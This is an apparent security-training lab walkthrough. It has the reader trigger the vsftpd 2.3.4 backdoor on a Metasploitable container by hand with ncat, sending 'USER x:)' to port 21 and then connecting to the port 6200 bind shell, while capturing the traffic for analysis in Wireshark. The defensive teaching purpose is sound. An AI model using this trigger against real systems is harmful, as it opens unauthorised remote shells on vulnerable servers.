Lab 16 of 17 · By Michael Stout
In this lab
Use Copy beside a command to copy it exactly.
Capture and read the attack in Wireshark
Lab 15 confirmed the vsftpd backdoor from the attacker's side. This lab captures the same trigger on the wire and reads it from the analyst's side instead — no Metasploit required, since the backdoor fires on a single crafted FTP command you can send by hand.
Lab 5's skill, against real malicious traffic
Lab 5 taught you to open a capture and follow a TCP stream against ordinary traffic. Chapter 3 is where that skill is actually supposed to earn its keep: reading a capture that contains an actual indicator of compromise, not a browser loading a web page. Because FTP and the backdoor's bind shell are both unencrypted, this capture reads in plain text — a rare gift for a teaching example, and exactly why Metasploitable's oldest vulnerability still gets used for this.
You don't need Metasploit installed to trigger this. The backdoor fires on one crafted username sent over plain FTP — this lab does it with ncat, already on the Kali container from Lab 12's Nmap install.
What you'll need
Lab 12's range, with the metasploitable container up.
Wireshark on Windows. If you completed Lab 5 it's already installed; if not, see Lab 5's Part 1 for the full walkthrough.
None beyond Lab 12's Docker Desktop setup.
15–20 minutes.
Start the capture, then cause something worth capturing
- Get a shell in the Kali container and install tcpdump:
docker compose exec scanner bash apt update && apt install -y tcpdump
- Start a background capture on the container's network interface:
tcpdump -i eth0 -w /tmp/vsftpd-attack.pcap &
- Trigger the backdoor by hand — two short connections with
ncat. First, the FTP username with the smiley that flips the switch:Typencat metasploitable 21
USER x:), press Enter, typePASS x, press Enter, then Ctrl+C to close. Then connect to the shell it opened:Typencat metasploitable 6200
id, press Enter, then Ctrl+C. - Stop the capture and leave the container:
kill %1 exit
Analysis happens in Wireshark, not the terminal
- Copy the capture out — back in PowerShell, not inside the container:
docker compose cp scanner:/tmp/vsftpd-attack.pcap .
- Open it in Wireshark and filter to just this exchange:
tcp.port == 21 or tcp.port == 6200
- Right-click the port 21 conversation → Follow → TCP Stream. Read the
USER x:)line in plain text — the indicator itself, not a description of it. - Do the same for the port 6200 conversation. The
idoutput is sitting there in plain text too — a shell, with nothing hiding it.
Read the same capture three more ways
| Try | What it shows you |
|---|---|
tcp.flags.syn==1 and tcp.flags.ack==0 | Just the connection attempts — the three-way handshake starting, stripped of everything after it. |
Display filter ftp | Wireshark's own protocol dissector labels the USER / PASS commands for you, instead of reading raw bytes off a Follow Stream. |
| Statistics → Conversations | Both TCP conversations side by side with byte counts and duration — how you'd triage which conversation matters first in a capture too large to read end to end. |
FTP and this backdoor's shell carry no encryption, which is exactly why this capture reads so cleanly. Don't take that as typical — on a modern network, credentials and shell traffic this readable on the wire are the exception, not the rule.
Capturing from inside the same container doing the attacking is a lab simplification, not a real detection deployment — an analyst taps a span port or the target's own segment, not the attacker's box. Don't mistake the convenience for the correct architecture.
Sources. Wireshark, Follow TCP Stream and capture filter documentation, wireshark.org/docs/wsug_html_chunked. Man page, tcpdump(8). Docker, docker compose cp reference, docs.docker.com/compose/reference/cp. Hacking Tutorials, exploiting vsftpd 2.3.4 on Metasploitable 2, hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable, for the manual trigger technique this lab builds on.